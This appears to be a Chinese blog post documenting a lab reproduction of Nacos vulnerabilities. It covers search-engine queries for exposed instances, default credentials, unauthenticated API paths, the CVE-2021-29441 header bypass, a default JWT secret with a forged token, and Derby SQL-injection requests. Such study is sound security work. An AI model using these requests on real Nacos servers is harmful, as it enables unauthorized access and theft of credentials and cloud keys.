上心师傅的思路分享(三)--Nacos渗透

2024-06-10 20:52

本文主要是介绍上心师傅的思路分享(三)--Nacos渗透,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

目录

1. 前言

2. Nacos

2.1 Nacos介绍

2.2 鹰图语法

2.3 fofa语法

2.3 漏洞列表

未授权API接口漏洞

3 环境搭建

3.1 方式一:

3.2 方式二: 

3.3 访问方式

4. 工具监测

5. 漏洞复现

5.1 弱口令

 5.2 未授权接口

5.3.1 用户信息 API

5.3.2 集群信息 API

5.3.3 配置信息 API

5.3 CVE-2021-29441 Nacos权限认证绕过漏洞

5.4 Nacos token.secret.key默认配置(QVD-2023-6271)

5.4.1 验证漏洞

 5.4.2 构造JWT token

5.5 Nacos Derby SQL注入漏洞 (CNVD-2020-67618)

5.5.1 漏洞复现:

 5.5.2 工具复现

5.5.3 一些常用的查询语句

5.6 CVE-2021-29441 Nacos权限认证绕过漏洞

5.7  Nacos-client Yaml反序列化漏洞  和 Nacos Jraft Hessian反序列化漏洞(QVD-2023-13065) 

6.其他利用方式

7.总结 


1. 前言

        最近回顾看一下上心师傅在上课时分享的渗透思路,因为本次的这个利用方式之前是了解过,Ctf比赛遇到过,但是当时的我还是小白一个对此完全不懂,而在经过上心师傅的分享后,发现其实原理自己懂,但是一直没有利用和学习过,刚好上心师傅讲了,那就认真学习同时复现一下吧.

        刚好也对漏洞环境搭建做一个练习,毕竟一名合格的安全测试人员,除了在实战环境下复现,也需要自行搭建真实环境进行漏洞复现测试,避免在实战环境下影响业务.

免责声明

        博文中涉及的方法可能带有危害性,博文中的图片中的域名展示仅供参考,并不具有威胁性,仅供安全研究与教学之用,读者将其方法用作做其他用途,由读者承担全部法律及连带责任,文章作者不负任何责任.

        下面是上心师傅上课讲的一些思路总结,以及我自己对这个漏洞学习到的一些总结和梳理.

2. Nacos

2.1 Nacos介绍

        Nacos 是阿里巴巴推出来的一个开源项目,是一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台。致力于帮助发现、配置和管理微服务。Nacos 提供了一组简单易用的特性集,可以快速实现动态服务发现、服务配置、服务元数据及流量管理。

        但是Nacos是部署在内网的,因此下面通过语法搜索出来的可以看到的,一般会做访问限制的,正常是访问不到的,如果可以访问就可以尝试是否存在漏洞了.当然如果直接在真实环境下测试,一是未授权行为,二是不容易找到复现环境,所以在本地搭建环境来进行复现是最安全,也是最容易

2.2 鹰图语法

app.name="Nacos" 

2.3 fofa语法

app="Nacos" && icon_hash="1227052603" && country="CN"

2.3 漏洞列表

Nacos控制台默认口令漏洞

漏洞影响版本:所有版本

nacos/nacos
CVE-2021-29441 Nacos权限认证绕过漏洞/nacos/v1/auth/users?pageNo=1&pageSize=1
未授权API接口漏洞

用户信息 API:      /nacos/v1/auth/users?pageNo=1&pageSize=5 (pageSize和pageNo根据数据量自行更改)

集群信息 API:   /nacos/v1/core/cluster/nodes?withInstances=false&pageNo=1&pageSize=10&keyword=

配置信息 API:  /nacos/v1/cs/configs?dataId=&group=&appName=&config_tags=&pageNo=1&pageSize=9&tenant=

&search=accurate&accessToken=&username=

Nacos token.secret.key默认配置(QVD-2023-6271)

漏洞影响版本: 0.1.0 <= Nacos <= 2.2.0

/nacos/v1/auth/users?pageNo=1&pageSize=9&search=accurate返回403就可以考虑伪造jwt

 Nacos User-Agent权限绕过(CVE-2021-29441)

漏洞影响版本: Nacos <= 2.0.0-ALPHA.1

http://ip:端口/nacos/v1/auth/users?pageNo=1&pageSize=9&search=blur 

这个版本环境很低,需要的师傅可以搭建环境自行复现

 
Nacos-client Yaml反序列化漏洞  
漏洞影响版本: Nacos-Client < 1.4.2
具体看下面复现

Nacos Jraft Hessian反序列化漏洞(QVD-2023-13065) 

漏洞影响版本:1.4.0 <= Nacos < 1.4.6 和 2.0.0 <= Nacos < 2.2.3

开放7848端口
Nacos Derby SQL注入漏洞 (CNVD-2020-67618)

derby数据库

/nacos/v1/cs/ops/derby?sql=select+*+from+sys.systables

nacos+spring  actuator 如果从nacos无法突破, 从actuator中的heapdump获取密码 /actuator/heapdump进行分析尝试获取密码,然后再进入nacos

3 环境搭建

                          本次Nacos漏洞复现环境都是在Linux环境下进行复现的

3.1 方式一:

直接下载

下载环境
wget https://github.com/alibaba/nacos/releases/download/2.0.0-ALPHA.1/nacos-server-2.0.0-ALPHA.1.tar.gz解压
tar -zxvf nacos-server-2.0.0-ALPHA.1.tar.gz进入目录
cd nacoscd 进入nacos的bin目录启动./startup.sh -m standalone
关闭
./shutdown.sh

3.2 方式二: 

        因为自己的环境出了问题,导致无法用命令下载github的文件,于是通过下面的方式解决,这里我只做复现和分析就不写这种方式了,下面这个师傅的文章比较详细,可以跟着学习和使用.

Kali设置/挂载共享文件夹_kali开机自动挂载共享文件夹-CSDN博客icon-default.png?t=N7T8https://blog.csdn.net/Ahuuua/article/details/108584355        直接浏览器访问下面的链接,当然直接访问会比较慢,可以通过科学方式加速

https://github.com/alibaba/nacos/releases/download/2.0.0-ALPHA.1/nacos-server-2.0.0-ALPHA.1.tar.gz

        然后把下载好的文件放入共享文件夹,最后移动到自己常用的位置,然后在文件目录下按照下面的操作.

 
解压
tar -zxvf nacos-server-2.0.0-ALPHA.1.tar.gz进入目录
cd nacoscd 进入nacos的bin目录启动./startup.sh -m standalone关闭
./shutdown.sh

3.3 访问方式

ifconfig  # 注意和win查本机ip的方式有点不同访问ip:8848/nacos/#/login

                        下面我的测试环境都是以搭建的虚拟机环境ip地址为准 

访问环境地址,出现下面的界面,代表搭建环境成功.

4. 工具监测

        在复现环境前,因为这个搭建的环境是比较老的版本,到目前为止发现的所有历史漏洞应该都是存在的,先用工具扫描一下,进行尝试,上心师傅推荐的这个工具比较好用,建议用最新版的,监测的poc会多一点.

charonlight/NacosExploitGUI: Nacos漏洞综合利用GUI工具,集成了默认口令漏洞、SQL注入漏洞、身份认证绕过漏洞、反序列化漏洞的检测及其利用 (github.com)icon-default.png?t=N7T8https://github.com/charonlight/NacosExploitGUI        可以看一下漏洞描述,初步了解需要复现的漏洞原理,如果遇到不知道的,可以自行去搜索详细的文章进行学习.

java -jar NacosExploitGUI_v4.0.jar

                                因为是老版本,所以包含所有历史漏洞,扫描结果如下:

5. 漏洞复现

5.1 弱口令

                        Nacos控制台默认口令为nacos/nacos,遇到了可以先尝试一下

一般会存在一个test/test的用户,也可以进行尝试

 5.2 未授权接口

                        在未登录情况下的登录界面直接拼接下面的api接口

5.3.1 用户信息 API

/nacos/v1/auth/users?pageNo=1&pageSize=5

        这里因为没有添加用户,所以就一个用户,如果有很多用户的话,可以尝试其他用户的弱口令

        显然密码是加密的,并且我之前遇到过一个系统也是这样加密的,搜索和学习后,发现是无法解密的密码,这里只能通过尝试常见的弱口令,或是账号和密码一样看能否进入了.

5.3.2 集群信息 API

/nacos/v1/core/cluster/nodes?withInstances=false&pageNo=1&pageSize=10&keyword=

5.3.3 配置信息 API

通过看别的师傅的一些挖掘案例文章发现这个接口和上面的用户信息接口一样很重要,并且还有可能会出现一些重要的配置信息,例如:接口在未授权的情况下可能会暴露MySQL、Redis、Druid  postgresql   mongodb等配置信息,若存在云环境、文件系统,还可能暴露各种key

/nacos/v1/cs/configs?dataId=&group=&appName=&config_tags=&pageNo=1&pageSize=9&tenant=&search=accurate&accessToken=&username=

5.3 CVE-2021-29441 Nacos权限认证绕过漏洞

验证漏洞

http://192.168.10.14:8848/nacos/v1/auth/users?pageNo=1&pageSize=1

 在浏览器直接访问是get请求:

http://192.168.10.14:8848/nacos/v1/auth/users

        在burp的历史包中,将访问请求发送到重放模块,然后更改请求方式为post,修改User-Agent为Nacos-Server,至于为什么是username=xiaoyu&password=xioayu  参数你可以在登录界面抓一个包就知道为什么是这个格式了.

                                                             用xiaoyu/xiaoyu进行登录

5.4 Nacos token.secret.key默认配置(QVD-2023-6271)

        复现这个漏洞的话通过Nacos版本 <= 2.2.0的才是正确的复现环境,但是老版本也是存在这个漏洞的,本来不想搭建这个环境,结果老版本工具可以监测到,但是自己复现无法成功,于是,直接用老搭建一个新的环境,需要的师傅自行搭建复现,其他搭建和上面的操作是一致的.

环境地址:https://github.com/alibaba/nacos/releases/download/2.2.0/nacos-server-2.2.0.tar.gz

                                        注意需要先开启鉴权,不然登录是不需要使用JWT的

        Nacos使用token.secret.key来进行身份认证和加密。在Nacos版本 <= 2.2.0 时,,这个密钥是固定的默认值,导致存在一个安全漏洞。

密钥的固定的默认值

SecretKey012345678901234567890123456789012345678901234567890123456789

5.4.1 验证漏洞

                        这个是2.2.0比前面的2.0.0多了一行红字,内部系统,不可暴露到公网

        不带jwt直接访问如下地址,看别的师傅都说,正常是返回403,但是我是老版本,也会出现信息,结果我尝试了2.2.0还是会返回下面的信息,此时我已经懵逼了

http://192.168.10.14:8848/nacos/v1/auth/users?pageNo=1&pageSize=5&search=accurate

        2.2.0版本未经过鉴权的话进行测试发现也会出现下面的信息,并且可以进行一些列的操作,比如说直接添加用户,删除用户等等.

 老版本的话,会出现下面的信息,有我前面复现漏洞添加的新用户

 5.4.2 构造JWT token

先访问接口

/nacos/v1/auth/users?pageNo=1&pageSize=9&search=accurate

其中exp是时间戳,利用下面部分进行伪造令牌,然后进行尝试

exp是时间戳,需要把时间戳改为大于当前时间,建议直接改为明天的时间

默认泄露了key,就是下面的全部

SecretKey012345678901234567890123456789012345678901234567890123456789

{"sub": "nacos","exp": 1718012869 
}

        时间戳修改为比当前时间晚一天就可以了,生成一个比当前时间晚一天的时间戳,写博文的时候当前日期为6月9日,时间戳改为6月10日

 按图所示填写对应的palyload和key,拿到伪造的JWT

JWT构造网站
https://jwt.io/  
时间戳生成网站
https://tool.lu/timestamp/

 在JWT页面伪造好数据包后,就可以尝试在登录界面随意抓包,然后在数据包中添加下面的语句,

Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTcxODAyMDM4Nn0.UpyKSCj74oARPBP23X0TnAtWI6i3OKhr3XsaqfMSkL0

        重新抓一个登录的包,拦截返回包,将上面将返回的数据,替换重新抓的拦截包里的数据,然后发包就会进行后台界面

5.5 Nacos Derby SQL注入漏洞 (CNVD-2020-67618)

这个还是在2.0.0环境下进行复现的,当然也可以使用工具进行测试

        Nacos config server 中有未鉴权接口,执行 SQL 语句可以查看敏感数据,可以执行任意的 SELECT 查询语句。使用derby数据库进行部署的Nacos.

5.5.1 漏洞复现:

/nacos/v1/cs/ops/derby?sql=select+*+from+sys.systables
/nacos/v1/cs/ops/derby?sql=select+st.tablename+from+sys.systables+st

 5.5.2 工具复现

5.5.3 一些常用的查询语句

select * from users
select * from permissions
select * from roles
select * from tenant_info
select * from tenant_capacity
select * from group_capacity
select * from config_tags_relation
select * from app_configdata_relation_pubs
select * from app_configdata_relation_subs
select * from app_list
select * from config_info_aggr
select * from config_info_tag
select * from config_info_beta
select * from his_config_info
select * from config_info

5.6 CVE-2021-29441 Nacos权限认证绕过漏洞

/nacos/v1/auth/users?pageNo=1&pageSize=9&search=blur
User-Agent: Nacos-Server
serverIdentity: security 

正常情况下:

 在请求头中添加绕过后,出现下面的信息,说明权限绕过了

5.7  Nacos-client Yaml反序列化漏洞  和 Nacos Jraft Hessian反序列化漏洞(QVD-2023-13065) 

        这两种漏洞需要在一定的环境下才有存在的可能,而在本地环境的话,目前我是无法达到复现效果的,所以无法复现,可以看这位佬的,有对漏洞的详细解释,当然也可以借助上面的那款工具进行进一步利用.

Nacos 漏洞利用总结 | h0ny's blogicon-default.png?t=N7T8https://h0ny.github.io/posts/Nacos-%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E6%80%BB%E7%BB%93/

6.其他利用方式

        可以在Nacos的后台的配置文件中尝试寻找是否存在暴露MySQL、Redis、Druid  postgresql   mongodb等配置信息,若是存在云环境、文件系统,还可能暴露各种key,都是可以进行链接和利用的,看是否能进行存储桶接管.

7.总结 

        本次是对上心师傅所讲的漏洞进行一次总结,同时对环境搭建与复现过程中,其实也遇到了很多问题,都一点一点解决了,虽然有点艰辛,但是完成的时候还是很快乐的,继续加油.

这篇关于上心师傅的思路分享(三)--Nacos渗透的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1049239

相关文章

MySQL8.2.0安装教程分享

《MySQL8.2.0安装教程分享》这篇文章详细介绍了如何在Windows系统上安装MySQL数据库软件,包括下载、安装、配置和设置环境变量的步骤... 目录mysql的安装图文1.python访问网址2javascript.点击3.进入Downloads向下滑动4.选择Community Server5.

CentOS系统Maven安装教程分享

《CentOS系统Maven安装教程分享》本文介绍了如何在CentOS系统中安装Maven,并提供了一个简单的实际应用案例,安装Maven需要先安装Java和设置环境变量,Maven可以自动管理项目的... 目录准备工作下载并安装Maven常见问题及解决方法实际应用案例总结Maven是一个流行的项目管理工具

10个Python自动化办公的脚本分享

《10个Python自动化办公的脚本分享》在日常办公中,我们常常会被繁琐、重复的任务占据大量时间,本文为大家分享了10个实用的Python自动化办公案例及源码,希望对大家有所帮助... 目录1. 批量处理 Excel 文件2. 自动发送邮件3. 批量重命名文件4. 数据清洗5. 生成 PPT6. 自动化测试

10个Python Excel自动化脚本分享

《10个PythonExcel自动化脚本分享》在数据处理和分析的过程中,Excel文件是我们日常工作中常见的格式,本文将分享10个实用的Excel自动化脚本,希望可以帮助大家更轻松地掌握这些技能... 目录1. Excel单元格批量填充2. 设置行高与列宽3. 根据条件删除行4. 创建新的Excel工作表5

Redis多种内存淘汰策略及配置技巧分享

《Redis多种内存淘汰策略及配置技巧分享》本文介绍了Redis内存满时的淘汰机制,包括内存淘汰机制的概念,Redis提供的8种淘汰策略(如noeviction、volatile-lru等)及其适用场... 目录前言一、什么是 Redis 的内存淘汰机制?二、Redis 内存淘汰策略1. pythonnoe

Golang操作DuckDB实战案例分享

《Golang操作DuckDB实战案例分享》DuckDB是一个嵌入式SQL数据库引擎,它与众所周知的SQLite非常相似,但它是为olap风格的工作负载设计的,DuckDB支持各种数据类型和SQL特性... 目录DuckDB的主要优点环境准备初始化表和数据查询单行或多行错误处理和事务完整代码最后总结Duck

将Python应用部署到生产环境的小技巧分享

《将Python应用部署到生产环境的小技巧分享》文章主要讲述了在将Python应用程序部署到生产环境之前,需要进行的准备工作和最佳实践,包括心态调整、代码审查、测试覆盖率提升、配置文件优化、日志记录完... 目录部署前夜:从开发到生产的心理准备与检查清单环境搭建:打造稳固的应用运行平台自动化流水线:让部署像

C#读取本地网络配置信息全攻略分享

《C#读取本地网络配置信息全攻略分享》在当今数字化时代,网络已深度融入我们生活与工作的方方面面,对于软件开发而言,掌握本地计算机的网络配置信息显得尤为关键,而在C#编程的世界里,我们又该如何巧妙地读取... 目录一、引言二、C# 读取本地网络配置信息的基础准备2.1 引入关键命名空间2.2 理解核心类与方法

Golang使用etcd构建分布式锁的示例分享

《Golang使用etcd构建分布式锁的示例分享》在本教程中,我们将学习如何使用Go和etcd构建分布式锁系统,分布式锁系统对于管理对分布式系统中共享资源的并发访问至关重要,它有助于维护一致性,防止竞... 目录引言环境准备新建Go项目实现加锁和解锁功能测试分布式锁重构实现失败重试总结引言我们将使用Go作

JAVA利用顺序表实现“杨辉三角”的思路及代码示例

《JAVA利用顺序表实现“杨辉三角”的思路及代码示例》杨辉三角形是中国古代数学的杰出研究成果之一,是我国北宋数学家贾宪于1050年首先发现并使用的,:本文主要介绍JAVA利用顺序表实现杨辉三角的思... 目录一:“杨辉三角”题目链接二:题解代码:三:题解思路:总结一:“杨辉三角”题目链接题目链接:点击这里